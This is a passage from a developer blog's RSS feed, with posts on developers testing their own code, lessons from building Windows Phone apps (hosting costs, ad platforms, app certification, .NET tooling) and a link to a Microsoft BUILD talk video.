of the structures we had in place to stay compliant with &lt;a href="http://en.wikipedia.org/wiki/Information_technology_controls#IT_controls_and_the_Sarbanes-Oxley_Act_.28SOX.29"&gt;various
regulations&lt;/a&gt;. Testing your own code is one of topics where &lt;a href="http://thecodist.com/article/programmers_should_not_test_their_own_code"&gt;many
in the industry&lt;/a&gt; have come out against as &lt;a href="http://www.developerfusion.com/column/8314/creating-a-culture-of-quality-part-1/"&gt;being
generally a bad idea&lt;/a&gt;. I remember arguments from my college classes from software
engineering professors about the blind spots developers have about their software
requiring the need for dedicated teams to do testing. We do have mitigations in place
such as test plan reviews and code reviews to ensure there are alternate pairs of
eyes looking at the problem space not just the developer who created the functionality.
There is also the school of thought that since the person who wrote the code will
likely be the person woken up in the middle of the night if it goes haywire at an
inopportune moment, there is a sense of self preservation that will cause more diligence
to be applied to the problem than was the case in the previous eras of boxed software
which is when most of the anti-developer testing arguments were made. 
&lt;/p&gt;
&lt;h3&gt;Further Reading
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;
&lt;a href="http://en.wikipedia.org/wiki/DevOps"&gt;DevOps on Wikipedia&lt;/a&gt; 
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
&lt;a href="http://dev2ops.org/2010/02/what-is-devops/"&gt;What is DevOps?&lt;/a&gt; by Damon
Edwards
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
&lt;a href="http://devops.com/2012/11/08/release-engineering-at-facebook/"&gt;Release Engineering
at Facebook&lt;/a&gt; based on a talk by Chuck Rossi
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
&lt;a href="http://perfcap.blogspot.com/2012/03/ops-devops-and-noops-at-netflix.html"&gt;Ops,
DevOps and PaaS (NoOps) at Netflix&lt;/a&gt; by Adrian Cockcroft 
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&amp;#160;
&lt;/p&gt;
&lt;p&gt;
&lt;img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /&gt; Now
Playing: &lt;a href="http://www.amazon.com/Eminem/e/B000APFS8Y/ref=sr_ntt_srch_lnk_3?qid=1390182052&amp;amp;sr=8-3"&gt;Eminem&lt;/a&gt; – &lt;a href="http://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Daps&amp;amp;field-keywords=rap+god"&gt;Rap
God&lt;/a&gt; &lt;img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=e9e8aef0-d46f-4c30-a0cc-7bb3f7162b3c" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,e9e8aef0-d46f-4c30-a0cc-7bb3f7162b3c.aspx</comments>
      <category>Life in the B0rg Cube</category>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=b612b013-4995-4dc7-b1aa-c00c2fb4f63f</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,b612b013-4995-4dc7-b1aa-c00c2fb4f63f.aspx</pingback:target>
      <dc:creator>Dare Obasanjo</dc:creator>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=b612b013-4995-4dc7-b1aa-c00c2fb4f63f</wfw:commentRss>
      <slash:comments>5</slash:comments>
      <title>What I Learned After 3 Weeks of Writing Mobile Apps</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,b612b013-4995-4dc7-b1aa-c00c2fb4f63f.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2012/01/03/WhatILearnedAfter3WeeksOfWritingMobileApps.aspx</link>
      <pubDate>Tue, 03 Jan 2012 15:13:13 GMT</pubDate>
      <description>&lt;p&gt;
Towards the end of last year, I realized I was about to bump up against the &lt;a href="http://www.ehow.com/info_7748339_use-lose-vacation-policy.html"&gt;”use
it or lose it” vacation policy at work&lt;/a&gt; which basically means I either had to take
about two weeks of paid vacation or forfeit the vacation. Since I hadn’t planned the
time off I immediately became worried about what to do with all that idle time especially
since if left to my own devices I’d play 80 straight hours of &lt;a href="http://www.callofduty.com/mw3"&gt;Modern
Warfare 3&lt;/a&gt; without pause. 
&lt;/p&gt;
&lt;p&gt;
To make sure the time was productively used I decided to write a mobile app as a learning
exercise about the world of mobile development since I’ve read so much about it and
part of my day job is &lt;a href="http://windowsteamblog.com/windows_live/b/windowslive/archive/2011/12/07/skydrive-apis-for-docs-and-photos-now-ready-to-cloud-enable-apps-on-windows-8-windows-phone-and-more.aspx"&gt;building
APIs for developers of mobile apps&lt;/a&gt;. I ended up enjoying the experience so much
I added an extra week of vacation and wrote two apps for Windows Phone. I’d originally
planned to write one app for Windows Phone then port it to iOS or Android but gave
up on that due to time constraints after some investigation of both. 
&lt;/p&gt;
&lt;p&gt;
I learned a bunch about mobile development from this exercise and a few friends have
asked me to share of my thoughts on mobile development in general and building for
Windows Phone using Microsoft platforms in particular. If you are already a mobile
developer then some of this is old hat to you but I did find a bunch of what I learned
to be counterintuitive and fairly eye opening so you might too. 
&lt;/p&gt;
&lt;h2&gt;Thoughts on Building Mobile Apps on Any Platform
&lt;/h2&gt;
&lt;p&gt;
This section is filled with items I believe are generally applicable if building iOS,
Android or Windows Phone apps. These are mostly things I discovered as part of my
original plan to write one app for all three platforms. 
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;h4&gt;A consistent hardware ecosystem is a force multiplier
&lt;/h4&gt;
&lt;p&gt;
After realizing the only options for doing iPhone development on Windows was the &lt;a href="http://www.dragonfiresdk.com/"&gt;Dragon
Fire SDK&lt;/a&gt; which only supports games, I focused on learning as much as I could about &lt;a href="http://developer.android.com/sdk/index.html"&gt;Android
development options&lt;/a&gt;. The Xamarin guys have MonoTouch which sounded very appealing
to me as a way to leverage C# skills across Android and Windows Phone until I saw
the &lt;a href="https://store.xamarin.com/"&gt;$400 price tag&lt;/a&gt;. :)
&lt;/p&gt;
&lt;p&gt;
One of the things I noticed upon downloading the Android SDK as compared to installing
the Windows Phone SDK is that the Android one came with a bunch of emulators and SDKs
for various specific devices. As I started development on my apps, there were many
times I was thankful for the &lt;a href="http://www.engadget.com/2010/03/15/windows-phone-7-series-will-be-wvga-at-launch-hvga-later/"&gt;consistent
set of hardware specifications for Windows Phone&lt;/a&gt;. Knowing that the resolution
was always going to be WVGA and so if something looked good in the emulator then it
would look good on my device and those of my beta testers not only gave piece of mind
but made UX development a breeze. 
&lt;/p&gt;
&lt;p&gt;
Comparing this to an ecosystem like Android where the diversity of hardware devices
with varying screen resolutions &lt;a title="STATE OF THE WEB: OF APPS, DEVICES, AND BREAKPOINTS" href="http://www.zeldman.com/2011/12/29/state-of-the-web-of-apps-devices-and-breakpoints/"&gt;have
made developers effectively throw up their hands&lt;/a&gt; as in this article quoted by
Jeffrey Zeldman 
&lt;/p&gt;
&lt;blockquote&gt;&lt;em&gt;If … you have built your mobile site using fixed widths (believing
that you’ve designed to suit the most ‘popular’ screen size), or are planning to serve
specific sites to specific devices based on detection of screen size, Android’s settings
should serve to reconfirm how counterproductive a practice this can be. Designing
to fixed screen sizes is in fact never a good idea…there is just too much variation,
even amongst ‘popular’ devices. Alternatively, attempting to track, calculate, and
adjust layout dimensions dynamically to suit user-configured settings or serendipitous
conditions is just asking for trouble.&lt;/em&gt;&lt;/blockquote&gt; 
&lt;p&gt;
Basically, you’re just screwed if you think you can build a UI that will work on all
Android devices. This is clearly not the case if you target Windows Phone or iOS development.
This information combined with my experiences building for Windows Phone convinced
me that it is more likely I’ll buy a Mac and start iOS development than it is that
I’d ever do Android development. 
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h4&gt;No-name Web Hosting vs. name brands like Amazon Web Services and Windows Azure 
&lt;/h4&gt;
&lt;p&gt;
One of my apps had a web service requirement and I initially spent some time investigating
both Windows Azure and Amazon Web Services. Since this was a vacation side project
I didn’t want expenses to get out of hand so I was fairly price sensitive. Once I
discovered AWS charged less for Linux servers I spent a day or two getting my Linux
chops up to speed given I hadn’t used it much since my the early 2000s. This is where
I found out about &lt;a href="http://en.wikipedia.org/wiki/Yellow_dog_Updater,_Modified"&gt;yum&lt;/a&gt; and
discovered the interesting paradox that discovering and installing software on modern
Linux distros is simultaneously much easier and much harder than doing so on Windows
7. Anyway, that’s a discussion for another day. 
&lt;/p&gt;
&lt;p&gt;
I soon realized I had been penny wise and pound foolish when focusing on the cost
of Linux hosting when it turns out what breaks the bank is database hosting. Amazon
charges about &lt;a href="http://aws.amazon.com/rds/pricing/"&gt;$0.11 an hour ($80 a month)
for RDS hosting&lt;/a&gt; at the low end. Windows Azure seemed to charge around the same
ballpark when I looked two months ago but it seems they’ve &lt;a href="http://www.windowsazure.com/en-us/pricing/calculator/"&gt;revamped
their pricing site&lt;/a&gt; since I did my investigation. 
&lt;/p&gt;
&lt;p&gt;
Once I realized database hosting would be the big deciding factor in cost. It made
it easier for me to stick with the familiar and go with instead of as a 
&lt;abbr title="Linux Apache MySQL PHP/Perl/Python"&gt;
LAMP
&lt;/abbr&gt;
server stack. If I had stuck with 
&lt;abbr title="Linux Apache MySQL PHP/Perl/Python"&gt;
LAMP
&lt;/abbr&gt;
, I could have gone with a provider like &lt;a href="http://www.bluehost.com/"&gt;Blue Host&lt;/a&gt; to
get the entire web platform + database stack for less than $10 with perks like free
credits for Google ads thrown in. With the 
&lt;abbr title="Windows IIS SQL Server C#"&gt;
WISC
&lt;/abbr&gt;
stack, hosters like &lt;a href="http://www.discountasp.net/features.aspx"&gt;Discount ASP&lt;/a&gt; and &lt;a href="http://www.webhost4life.com/webhost4life/windows-hosting.bml"&gt;Webhost
4 Life&lt;/a&gt; charge in the ballpark of $15 which is about $10 if you swap out SQL Server
for MySQL. 
&lt;/p&gt;
&lt;p&gt;
These prices were more my speed. I was quite surprised that even though all the blogs
talk about AWS and Azure, it made the most sense for my bootstrapped apps to start
with a vanilla web host and pay up to ten times less for service than using one of
the name brand cloud computing services. Paying almost ~$100 a month for services
with elastic scaling properties may make sense if my apps stick around and become
super successful but not at the start. 
&lt;/p&gt;
&lt;p&gt;
Another nice side effect of going with a web hosting provider is the reduced complexity
from going with a cloud services provider. Anyone who's gone through the &lt;a href="http://aws.amazon.com/documentation/gettingstarted/"&gt;AWS
getting started guides&lt;/a&gt; after coming from vanilla web hosting knows what I mean.
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h4&gt;Facebook advertising beats search ads for multiple app categories
&lt;/h4&gt;
&lt;p&gt;
As mentioned above, one of the perks of some of the vanilla hosting providers is that
they throw in free credits for ads on Google AdSense/Adwords and Facebook ads as part
of the bundle. I got to experiment with buying ads on both platforms and I came away
very impressed with what Facebook has built as an advertising platform. 
&lt;/p&gt;
&lt;p&gt;
I remember reading a few years ago that &lt;a href="http://laurelpapworth.com/web-20-is-bust-advertising-doesnt-work/"&gt;MySpace
had taught us social networks are bad for advertisers&lt;/a&gt;. Things are very different
in today’s world. With search ads, I can choose to show ads alongside results when
people search for a term that is relevant to my app. With Facebook ads, I get to narrowly
target demographics based on detailed profile attributes such as Georgia Tech alumni
living in New York who have expressed an interest in DC or Marvel comics. The latter
seems absurd at first until you think about an app like &lt;a href="http://instagram.com/"&gt;Instagram&lt;/a&gt;. 
&lt;/p&gt;
&lt;p&gt;
No one is searching for "best photo sharing app for the iphone" on Google and even
if you are one of the few people who has, there aren’t a lot of you. On the other
hand, at launch the creators of Instagram could go to Facebook and say we'd like to
show ads to people who have liked or use an and who also have shown an affiliation
for photo sharing apps or sites like Flickr, Camera+, etc then craft specific pitches
for those demographics. I don’t know about you but I know which sounds like it would
be more effective and relevant. 
&lt;/p&gt;
&lt;p&gt;
This also reminded me that I'd actually clicked on more ads on Facebook than I've
ever clicked on search ads. 
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h4&gt;Lot's of unfilled niches still exist
&lt;/h4&gt;
&lt;p&gt;
I remember being in college back in the day, flipping through my copy of &lt;a href="http://en.wikipedia.org/wiki/Yahoo!_Internet_Life"&gt;Yahoo!
Internet Life&lt;/a&gt; and thinking that we were oversaturated with websites and all the
good ideas were already taken. This was before YouTube, Flickr, SkyDrive, Facebook
or Twitter. Silly me. 
&lt;/p&gt;
&lt;p&gt;
The same can be said about mobile apps today. I hear a lot about there being &lt;a href="http://www.apple.com/iphone/built-in-apps/app-store.html"&gt;500,000
apps in the Apple app store&lt;/a&gt; and &lt;a href="http://gadgetbox.msnbc.msn.com/_news/2011/10/24/8468836-500000-apps-now-in-android-market"&gt;the
same number being in Android Market&lt;/a&gt;. To some this may seem overwhelming but there
are clearly still niches that are massively underserved on those platforms and especially
on Windows Phone which &lt;a href="http://news.cnet.com/8301-1035_3-57348866-94/windows-phone-marketplace-hits-50000-app-mark/"&gt;just
hit 50,000 apps&lt;/a&gt;. 
&lt;/p&gt;
&lt;p&gt;
There are a lot of big and small problems in people's lives that can be addressed
by bringing the power of the web to the devices in their pockets in a tailored way.
The one thing I was most surprised by is how many apps haven't been written that you'd
expect to exist just from extrapolating what we have on the Web and the offline world
today. I don't just mean geeky things like &lt;a href="http://android.dkszone.net/share-bookmarks-from-android-to-chrome-and-firefox-browsers-in-pc"&gt;a
non-propeller head way to share bookmarks from my desktop to my phone and vice versa
without emailing myself&lt;/a&gt; but instead applications that would enrich the lives of
millions of regular people out there that they'd be gladly willing to pay $1 for (less
than the price of most brands of bubble gum these days). 
&lt;/p&gt;
&lt;p&gt;
If you are a developer, don't be intimidated by the size of the market nor be attracted
to the stories of the folks who've won the lottery by gambling on being in the right
place at the right time with the right gimmick (&lt;a href="http://www.tuaw.com/2009/02/10/31-fart-apps-in-90-seconds/"&gt;fart
apps&lt;/a&gt;, &lt;a href="http://www.bing.com/search?q=sex+position+apps"&gt;sex position guides&lt;/a&gt; and &lt;a href="http://mashable.com/2011/03/24/color/"&gt;yet
another photo sharing app&lt;/a&gt;). There are a lot of problems that can be solved or
pleasant ways to pass the time on a mobile device that haven’t yet been built. Look
around at your own life and talk to your non-technical friends about their days. There
is lots of inspiration out there if you just look for it. 
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h4&gt;Look for Platforms that Favor User Experience over Developer Experience
&lt;/h4&gt;
&lt;p&gt;
One of the topics I’ve wanted to write about in this blog is how my generation of
software developers who came of age with the writings of Richard Stallman and Eric
Raymond’s &lt;a href="http://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar"&gt;The
Cathedral and the Bazaar&lt;/a&gt; with its focus on building software with a focus on making
the developers who use the software happy collides with the philosophy of software
developers who have come of age in the era of Steve Jobs and what Dave Winer has called &lt;a href="http://scripting.com/stories/2011/12/31/theUninternet.html"&gt;The
Un-Internet&lt;/a&gt; where focusing on providing a controlled experience which is smoother
for end users leads to developers being treated as second fiddle. 
&lt;/p&gt;
&lt;p&gt;
As a developer, having to submit my app to some app store to get it certified when
I could publish on the web as soon as I was done checking in the code to my local
github repository is something I chafe against. When working on my Windows Phone apps,
I submitted one to be certified and found prominent typos a few hours later. However
there was nothing I could do but wait for &lt;a href="http://msdn.microsoft.com/en-us/library/hh202928(v=VS.92).aspx"&gt;five
business days for my app to be approved&lt;/a&gt; after which I could submit the updated
version to be certified which would take another week in calendar days. Or so I thought. 
&lt;/p&gt;
&lt;p&gt;
My initial app submission was rejected for failing a test case around proper handling
of lack of network connectivity. I had cut some corners in my testing when it came
to testing network availability support once I discovered &lt;a href="http://stackoverflow.com/questions/6668826/why-does-windows-phone-7-networkinterface-getisnetworkavailable-return-true-wh"&gt;NetworkInterface.GetIsNetworkAvailable()
always returns true in the emulator&lt;/a&gt; which meant I had to actually test that process
on my phone. I never got around to it by telling myself no one actually expects a
network connected app to work if they don’t have connectivity. 
&lt;/p&gt;
&lt;p&gt;
The Windows Phone marketplace rejected my app because it turns out it crashes if you
lose network connectivity. I was actually pretty impressed that someone at Microsoft
is tasked with making sure any app a user installs from the store doesn't crash for
common edge cases. Then I thought about the fact that my wife, my 3 year old son,
and my non-technical friends all use mobile apps and it is great that this level of
base set of quality expectations are being built into the platform. Now when I think
back to &lt;a href="http://techcrunch.com/2009/11/11/joe-hewitt-developer-of-facebooks-massively-popular-iphone-app-quits-the-project/"&gt;Joe
Hewitt famously quitting the Apple App store&lt;/a&gt; and compare it to &lt;a title="TNW: “Official” Siri app hits the Android Market, highlights Google’s marketplace issues" href="http://thenextweb.com/google/2011/12/30/official-siri-app-hits-the-android-market-highlights-googles-marketplace-issues/"&gt;the
scam of the week culture that plagues the Android marketplace&lt;/a&gt;, I know which model
I prefer as a user and a developer. It’s the respect for the end user experience I
see coming out of Cupertino and Redmond. 
&lt;/p&gt;
&lt;p&gt;
This respect for end users ends up working for developers which is why there really
is no surprise that &lt;a href="http://www.wired.com/gadgetlab/2011/12/ios-revenues-vs-android/"&gt;iOS
devs make 6 time smore than their Android counterparts&lt;/a&gt; because users are more
likely to spend money on apps on iOS. 
&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;!--EndFragment--&gt;
&lt;h2&gt;Thoughts on Microsoft-Specific Development 
&lt;/h2&gt;
&lt;p&gt;
In addition to the general thoughts there were some things specific to either Windows
Phone or 
&lt;abbr title="Windows IIS SQL Server C#"&gt;
WISC
&lt;/abbr&gt;
development I thought were worth sharing as well. Most of these were things I found
on the extremely excellent &lt;a href="http://stackoverflow.com/"&gt;Stack Overflow&lt;/a&gt;,
a site which cannot be praised enough. 
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;h4&gt;Free developer tools ecosystem around Microsoft technology is mature and surprisingly
awesome
&lt;/h4&gt;
&lt;p&gt;
As a .NET developer I’ve been socialized into thinking that Microsoft tools are the
realm of paying an arm and a leg for tools while people building on Open Source tools
get great tools for free. When I was thinking about building my apps on Linux I actually
got started using Python for a web crawler that was intended to be part of my app
as well as for my web services. When I was looking at Python I played around with &lt;a href="http://webpy.org/"&gt;web.py&lt;/a&gt; and
wrote the first version of my crawler using &lt;a href="http://www.crummy.com/software/BeautifulSoup/"&gt;Beautiful
Soup&lt;/a&gt;. 
&lt;/p&gt;
&lt;p&gt;
As I moved on the .NET I worried I’d be stuck for such excellent free tooling but
that was not the case. I found similar and in some cases better functionality for
what I was looking for in &lt;a href="http://json.codeplex.com/"&gt;Json.NET&lt;/a&gt; and the &lt;a href="http://htmlagilitypack.codeplex.com/"&gt;HTML
Agility Pack&lt;/a&gt;. Besides a surprising amount of high quality, free libraries for
.NET development, it was the free tools for working with SQL Server that sent me over
the top. Once I grabbed &lt;a href="http://www.devart.com/dbforge/sql/sqlcomplete/"&gt;SQL
Complete&lt;/a&gt;, an autocomplete/Intellisense tool for SQL Server, I felt my development
life was complete. Then I found &lt;a href="http://code.google.com/p/elmah/"&gt;ELMAH&lt;/a&gt;.
Fatality…I’m dead and in developer heaven. 
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h4&gt;Building RESTful web services that emit JSON wasn't an expected scenario from
Microsoft dev tools teams?
&lt;/h4&gt;
&lt;p&gt;
As part of my day job, I'm responsible for &lt;a href="http://dev.live.com"&gt;Live Connect&lt;/a&gt; which
among other things provides a set of RESTful JSON-based APIs for accessing data in
SkyDrive, Hotmail and Windows Live Messenger. So it isn't surprising that when I wanted
to build a web service for one of my side projects I'd want to do the same. This is
where things broke down. 
&lt;/p&gt;
&lt;p&gt;
The last time I looked at web services development on the 
&lt;abbr title="Windows IIS SQL Server C#"&gt;
WISC
&lt;/abbr&gt;
the way to build web services was to use &lt;a href="http://msdn.microsoft.com/en-us/netframework/aa663324"&gt;Windows
Communication Foundation (WCF)&lt;/a&gt;. So I decided to take a look at that and found
out that the product doesn’t really support JSON-based web services out of the box
but I could grab something called the &lt;a href="http://wcf.codeplex.com/wikipage?title=WCF%20HTTP"&gt;WCF
Web API&lt;/a&gt; off of CodePlex. Given the project seemed less mature than the others
I’d gotten off of CodePlex I decided to look at ASP.NET and see what I could get there
since it needs to enable JSON-based REST APIs as part of its much touted JQuery support.
When I got to &lt;a href="http://www.asp.net/get-started"&gt;the ASP.NET getting started
page&lt;/a&gt;, I was greeted with the statement that ASP.NET enables building 3 patterns
of websites and I should choose my install based on what I wanted. Given that I didn't
want to build an actual website not a web service I didn't pick any of them
&lt;/p&gt;
&lt;p&gt;
Since I was short on time (after all, this was my vacation) I went back to what I
was familiar with and used &lt;a href="http://stackoverflow.com/questions/618900/enable-asp-net-asmx-web-service-for-http-post-get-requests"&gt;ASP.NET
web services with HTTP GET &amp; POST enabled&lt;/a&gt;. I’m not sure what the takeaway is here
since I clearly built my solution using a hacky mechanism and not a recommended approach
yet it is surprising to me that what seems like such a mainline scenario isn’t supported
in a clear out-of-the-box manner by Microsoft’s dev tools. 
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h4&gt;Embrace the Back Button on Windows Phone
&lt;/h4&gt;
&lt;p&gt;
One of the things I struggled with the most as part of Windows Phone development was &lt;a href="http://msdn.microsoft.com/en-us/library/ff817008(v=VS.92).aspx"&gt;dealing
with the application lifecycle&lt;/a&gt;. The problem is that at any point the user can
jump out of your app and the operating system will put your app in either a dormant
state where data is still stored in memory or tombstone your app in which case it
is killed and state your app cares about is preserved. 
&lt;/p&gt;
&lt;p&gt;
One of the ways I eventually learned to thing about this the right way was to aggressively
use the back button while testing my app. This led to finding all sorts of interesting
problems and solutions such &lt;a href="http://blogs.msdn.com/b/ptorr/archive/2010/08/28/introducing-the-concept-of-places.aspx"&gt;as
how to deal with a login screen&lt;/a&gt; when the user clicks back and that a lot of logic
I thought should be in the constructor of a page really should be in the &lt;a href="http://msdn.microsoft.com/en-us/library/system.windows.controls.page.onnavigatedto(v=VS.92).aspx"&gt;OnNavigatedTo&lt;/a&gt; method
(and don’t forget to de-register some of those event handlers in your &lt;a href="http://msdn.microsoft.com/en-us/library/system.windows.controls.page.onnavigatedfrom(v=VS.92).aspx"&gt;OnNavigatedFrom&lt;/a&gt; event
handler). 
&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
I could probably write more on this but this post has gotten longer than I planned
and I need to take my son to daycare &amp; get ready for work. I’ll try to be a more diligent
blogger this year depending on whether the above doesn’t make too many people unhappy.
&lt;/p&gt;
&lt;p&gt;
Happy New Year. 
&lt;/p&gt;
&lt;p&gt;
&lt;img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /&gt; Now
Playing: &lt;a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=Kanye+West&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6"&gt;Kanye
West&lt;/a&gt; - &lt;a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=Kanye+West+Devil+In+A+New+Dress&amp;x=0&amp;y=0"&gt;Devil
In A New Dress (featuring Rick Ross)&lt;/a&gt;&lt;img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=b612b013-4995-4dc7-b1aa-c00c2fb4f63f" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,b612b013-4995-4dc7-b1aa-c00c2fb4f63f.aspx</comments>
      <category>Programming</category>
      <category>Web Development</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=a5e8a5c0-40ee-4c29-b4b9-aac84ab1beaa</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,a5e8a5c0-40ee-4c29-b4b9-aac84ab1beaa.aspx</pingback:target>
      <dc:creator>Dare Obasanjo</dc:creator>
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,a5e8a5c0-40ee-4c29-b4b9-aac84ab1beaa.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=a5e8a5c0-40ee-4c29-b4b9-aac84ab1beaa</wfw:commentRss>
      <slash:comments>2</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
Yesterday I gave a talk about how Metro style apps and websites can take advantage
of the fact Single Sign On (SSO) with Windows Live ID in Windows 8, announced the
availability of <a href="http://connect.microsoft.com/site1226/SelfNomination.aspx?ProgramID=7291&amp;pageType=1">the
Live SDK for Windows Developer Preview and Windows Phone</a> and demoed some of the
upcoming Windows Metro style apps that are built on the same platform. You can watch
the talk embedded below and you can <a href="http://channel9.msdn.com/Events/BUILD/BUILD2011/APP-784T">go
here to download the video in various formats or download the slides</a>. 
</p>
        <iframe style="height: 544px; width: 960px" src="http://channel9.msdn.com/Events/BUILD/BUILD2011/APP-784T/player?w=960&amp;h=544" frameborder="0" scrolling="no">
        </iframe>
        <p>
          <img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /> Now
Playing: <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=VIC&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">V.I.C.</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=VIC+Get+Silly&amp;x=0&amp;y=0">Get
Silly</a><img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=a5e8a5c0-40ee-4c29-b4b9-aac84ab1beaa" />
      </body>
      <title>Video of my talk “Powering your app with Live Services” from Microsoft BUILD conference now available</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,a5e8a5c0-40ee-4c29-b4b9-aac84ab1beaa.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2011/09/17/VideoOfMyTalkPoweringYourAppWithLiveServicesFromMicrosoftBUILDConferenceNowAvailable.aspx</link>
      <pubDate>Sat, 17 Sep 2011 17:45:30 GMT</pubDate>
      <description>&lt;p&gt;
Yesterday I gave a talk about how Metro style apps and websites can take advantage
of the fact Single Sign On (SSO) with Windows Live ID in Windows 8, announced the
availability of &lt;a href="http://connect.microsoft.com/site1226/SelfNomination.aspx?ProgramID=7291&amp;amp;pageType=1"&gt;the
Live SDK for Windows Developer Preview and Windows Phone&lt;/a&gt; and demoed some of the
upcoming Windows Metro style apps that are built on the same platform. You can watch
the talk embedded below and you can &lt;a href="http://channel9.msdn.com/Events/BUILD/BUILD2011/APP-784T"&gt;go
here to download the video in various formats or download the slides&lt;/a&gt;. 
&lt;/p&gt;
&lt;iframe style="height: 544px; width: 960px" src="http://channel9.msdn.com/Events/BUILD/BUILD2011/APP-784T/player?w=960&amp;amp;h=544" frameborder="0" scrolling="no"&gt;
&lt;/iframe&gt;
&lt;p&gt;
&lt;img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /&gt; Now
Playing: &lt;a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;amp;unfiltered=1&amp;amp;field-keywords=&amp;amp;field-artist=VIC&amp;amp;field-title=&amp;amp;field-label=&amp;amp;field-binding=&amp;amp;sort=relevancerank&amp;amp;Adv-Srch-Music-Album-Submit.x=19&amp;amp;Adv-Srch-Music-Album-Submit.y=6"&gt;V.I.C.&lt;/a&gt; - &lt;a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;amp;field-keywords=VIC+Get+Silly&amp;amp;x=0&amp;amp;y=0"&gt;Get
Silly&lt;/a&gt; &lt;img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=a5e8a5c0-40ee-4c29-b4b9-aac84ab1beaa" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,a5e8a5c0-40ee-4c29-b4b9-aac84ab1beaa.aspx</comments>
      <category>Life in the B0rg Cube</category>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=55cae110-f7a7-4636-891e-ecca445432fa</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,55cae110-f7a7-4636-891e-ecca445432fa.aspx</pingback:target>
      <dc:creator>Dare Obasanjo</dc:creator>
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,55cae110-f7a7-4636-891e-ecca445432fa.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=55cae110-f7a7-4636-891e-ecca445432fa</wfw:commentRss>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
I’m currently at the <a href="http://www.buildwindows.com/">Microsoft BUILD conference</a> where
